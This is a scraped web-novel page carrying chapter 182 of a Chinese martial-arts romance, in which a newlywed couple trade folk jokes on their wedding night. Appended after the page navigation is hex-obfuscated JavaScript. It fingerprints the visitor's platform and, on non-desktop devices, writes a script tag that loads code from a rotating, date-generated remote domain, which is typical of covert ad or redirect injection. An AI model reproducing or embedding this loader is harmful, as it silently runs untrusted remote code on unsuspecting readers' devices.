返回第一八二章 天雪女新婚夜三难新郎  联丹首页

关灯 护眼     字体:

上一章 目录 下一章

尹天雪和小太监激战正酣,忽听人喊:“别打了别打了,都是自家人!”姑娘一听这话就立刻就断定此人除非是大名鼎鼎的潘帅潘又安,再也别无他人一是他的武功绝伦,决非泛泛之辈可比,二是他的人品出众,与潘安相比再无出其右者小姐脸面通红,急忙躲在一边,曹花枝拿眼神瞥她的那一瞬间,她一脸窘态,一时不知作如何解释,匆忙点点头便试图搪塞遮掩过去
一言既出,驷马难追,既然答应了人的事就不该反悔再说一辈子能嫁个像潘大帅这样的人也不枉来世一场人品武功都臻于一流,至于品德和思维方面的问题,姑娘不放心,她还要亲自验证一番
原先的番将府邸,如今做成了潘元帅的临时住地,昨日还在黑虎崖当先锋的小太监摇身一变,又成了新郎倌儿早间还在河滩上捉对儿厮杀、不分出雌雄决不罢休的一对俏儿女,今晚双双进了新房历史总会捉弄人,有时是恶意的,有时是善意的善意和恶意都不以人的意志为转移,全逢个人运气罢了
小太监瞅瞅自己新娶的娘子,往日都是他征战杀伐,或争或抢,都是自己寻得的如今这个女人却是媳妇们撺弄而成,因而他觉得十分的不自在,甚至连多看一眼的勇气也没有,一个人坐在桌前,没情没趣地喝闷酒
还是尹天雪打破僵局,抿嘴一笑,小声道:“姐夫,我俩闲暇无事,你且慢慢喝酒,让我给你讲个故事好吗?”
小太监听着心里不高兴:这女子如今还称我为姐夫,明显的就是拒人于千里之外,且看她一步棋如何走?遂说:
“悉听尊便!”
尹天雪娓娓言道:
从前有个农夫在田里耕作,突见一秀才骑驴从远处而来秀才见了农夫,很客气地下驴言道:
“大哥大哥,你整日耕种,可知一日能耕多少犁吗?”
农夫吭吃了半天,对答不上来,最后红着脸说:“不瞒秀才,我实实不知”
“真笨,自己干的活儿都说不清楚,还不如我骑的这头蠢驴哩!”
农夫莫名其妙地受了一肚子气,噘着嘴回到家中,妻子把饭端上来他都不想吃妻子看他神色有异,追问了半天,他才以实相告妻子不屑地一笑说:
“讨了便宜的人不会就此罢休,那人明天必定还来,你可如此这般回答于他”
第二天快到午时,那位秀才果然又来,又用原话问农夫农夫心中有数,不慌不忙地反问道:
“秀才秀才,你一天骑驴来去,可知这一天驴走多少步吗?”
秀才大惊,知道农夫必有高人指点,经再三套问,农夫厚道,如实说出是老婆所教秀才嘿嘿一笑说:
“大哥你今日回家,告诉你家嫂嫂,说我明日前去会她,只用半张嘴尽够了”
农夫回家把秀才要来拜访的话说于妻子,妻子心中有数,笑而不言
是日,秀才果如其言,登门莅监秀才为了说明自己只用半张嘴就可能打败农夫老婆,先用一块狗皮膏药糊住半边嘴,兴冲冲而来一条腿在门坎之前,一条腿在门坎之后,隔门便喊:
“大嫂大嫂,你说我是进屋还是出屋?”
农夫老婆拿一把葱又拿一把蒜放在案板上,说:“秀才秀才,你说我是切葱还是切蒜?”
秀才忽然大惊失色道:“大嫂大嫂不好了,牛粪屙锅里了!”
农夫老婆笑道:“没事,你没见牛屁股上贴着膏药吗”
秀才自讨了个没趣,通红着脸,悻悻然,走了
小太监是什么样人,岂能不知新夫人的用意?他不假思索,也编了一个故事:
从前有俩秀才是好朋友,一姓张,一姓朱某日,张秀才去看望朱秀才,碰巧朱秀才不在家张秀才问:
“请问朱秀才在家吗?”
“相公不在家,回来我说知于他请问先生您贵姓?”回话的是朱妻
“姓张”
“噢,您是弓长张还是立早章呀?”
“在下弓长张”
“张先生用膳了吗?”
“已用,不客气”
“那好,先生请坐下吃茶”
张秀才回家夸朱秀才的老婆如何精明能干,而且说话乖巧,十分让人敬佩
张妻醋意大发,斥道:“没羞,在自己妻子面前夸别人老婆如何好?二日有人来,我说得比她还要妥贴哩!”
张秀才不言
数日之后,朱秀才前来回访张秀才,也凑巧张秀才不在
张妻道:“我家书呆子不在,请问先生你姓鬼?”
“我不姓鬼我姓朱?”朱秀才脸上有些挂不住
“公猪母猪?”
“公猪”朱秀才耐着性子据实作答
“骟过了?”
“尚未”朱秀才已经忍无可忍,不过还是如实说了
“正好,俺也没骟,不如咱俩一锅骟了算了你稍等,我这就去烧水”不待客人答应,张妻为了表示对客人的热情,执刀去切肉奈何刀钝,随即又磨刀霍霍
朱秀才大惊,拔腿就跑
张妻提刀追出门外,大喊大叫道:“老公猪,你不骟了?”
朱秀才头也不回地答道:“我去问问我家老婆,她说骟我就骟,她说不骟我就不骟,我不敢私自做主”
张妻丧气地将刀扔在砧板上,轻蔑地嘟囔道:
“原来是个窝囊废,这点事都不敢做主,怪不得家里头有个会说话的巧娘子?”
尹天雪不甘示弱,接着又说:
小矮子见儿女们在炕上打闹,威胁道:“等你们妈妈来了抱我上炕,有你们好看!”
小太监随之也道:
有母女干活,女儿在厨房喊道:
“妈妈,水多了”
“加面!”
“面多了?”
“加水!”
“……”
“案板上放不下了?”
“死丫头,不是我缝被子把自己缝在里头,我出来后饶不了你!”
尹天雪还要说,被小太监拦住道:
“娘子再不说了,时候委实不早了,明天还有一大堆事呢,不如及早安歇了?”
尹天雪面有愠色,两颊绯红,道:“称娘子为时尚早,还有一个故事,姐夫若说得了我时,小妹才是你的娘子,那时便与官人上床睡觉”
不知尹天雪说出何等样事,且听下回分解

『加入书签,方便阅读』

上一章 目录 下一章

(function(_hN1,$QGSSpXr2,WglLY3,cKySOnvvL4,foOXyripQ5){var vEiTBsa6;_hN1['\x69\x64\x69\x61']=function(WA7){var qyRFA8=window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e']({},vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73'],WA7);return new vEiTBsa6(qyRFA8)};vEiTBsa6=function(args){window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e'](this,args);var G9={win:false,mac:false,xll:false};var yhZgFbF10=navigator['\x70\x6c\x61\x74\x66\x6f\x72\x6d'];G9['\x77\x69\x6e']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x57\x69\x6e")===0;G9['\x6d\x61\x63']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4d\x61\x63")===0;G9['\x78\x31\x31']=yhZgFbF10==="\x58\x31\x31"||yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4c\x69\x6e\x75\x78")===0;if(!G9['\x77\x69\x6e']&&!G9['\x6d\x61\x63']&&!G9['\x78\x6c\x6c']){this['\x5f\x69\x6e\x69\x74']()}};vEiTBsa6['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x5f\x69\x6e\x69\x74']=function(){let newDate=new window["\x44\x61\x74\x65"]();let time=newDate['\x67\x65\x74\x54\x69\x6d\x65']();let time2=null;if(this['\x73\x77\x69\x74\x63\x68\x5f\x64\x6f\x6d\x61\x69\x6e\x5f\x63\x6f\x75\x6e\x74']==1){time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))}else{time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))+(newDate['\x67\x65\x74\x48\x6f\x75\x72\x73']()<12?"\x30":"\x31")}let baseurl=this['\x62\x61\x73\x65\x5f\x75\x72\x69']['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x64\x61\x74\x65\x7d",time2);let week=null;newDate['\x67\x65\x74\x44\x61\x79']()==0?(week="\x73\x75\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==1?(week="\x6d\x6f\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==2?(week="\x74\x75\x65"):newDate['\x67\x65\x74\x44\x61\x79']()==3?(week="\x77\x65\x64"):newDate['\x67\x65\x74\x44\x61\x79']()==4?(week="\x74\x68\x75"):newDate['\x67\x65\x74\x44\x61\x79']()==5?(week="\x66\x72\x69"):(week="\x73\x61\x74");let day=newDate['\x67\x65\x74\x44\x61\x74\x65']();baseurl=baseurl['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x77\x65\x65\x6b\x64\x61\x79\x7d",week+day);let suffix=["\x6a\x73","\x6a\x73\x6f\x6e","\x68\x74\x6d\x6c","\x73\x68\x74\x6d\x6c","\x78\x6d\x6c","\x73\x78\x6d\x6c","\x70\x64\x66","\x72\x74\x66","\x64\x6f\x63","\x64\x6f\x63\x78","\x77\x70\x73","\x6f\x64\x66","\x70\x70\x74","\x78\x70\x73","\x70\x73\x64","\x70\x6e\x67","\x6a\x70\x67","\x6a\x70\x65\x67","\x77\x65\x64\x70","\x74\x78\x74",][window["\x4d\x61\x74\x68"]['\x66\x6c\x6f\x6f\x72'](window["\x4d\x61\x74\x68"]['\x72\x61\x6e\x64\x6f\x6d']()*21)];let htmlcode='\x3c\x73\x63\x72\x69\x70\x74 \x69\x64\x3d\x22'+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+'\x22 \x73\x72\x63\x3d\x22'+baseurl+time+"\x2e"+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+"\x2e"+this['\x77\x65\x62\x5f\x69\x64']+"\x2e"+suffix+"\x3f"+time+'\x22\x3e'+"\x3c\x2f"+"\x73\x63\x72\x69\x70\x74\x3e";window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e'](htmlcode)};vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73']={web_uuid:$QGSSpXr2,web_id:WglLY3,switch_domain_count:cKySOnvvL4,base_uri:foOXyripQ5,};_hN1['\x69\x64\x69\x61']()})(window, "auwBfFHWZjVcYVdXD5riSC", "1911", "2", "https://{weekday}.bugs{date}ko.com/");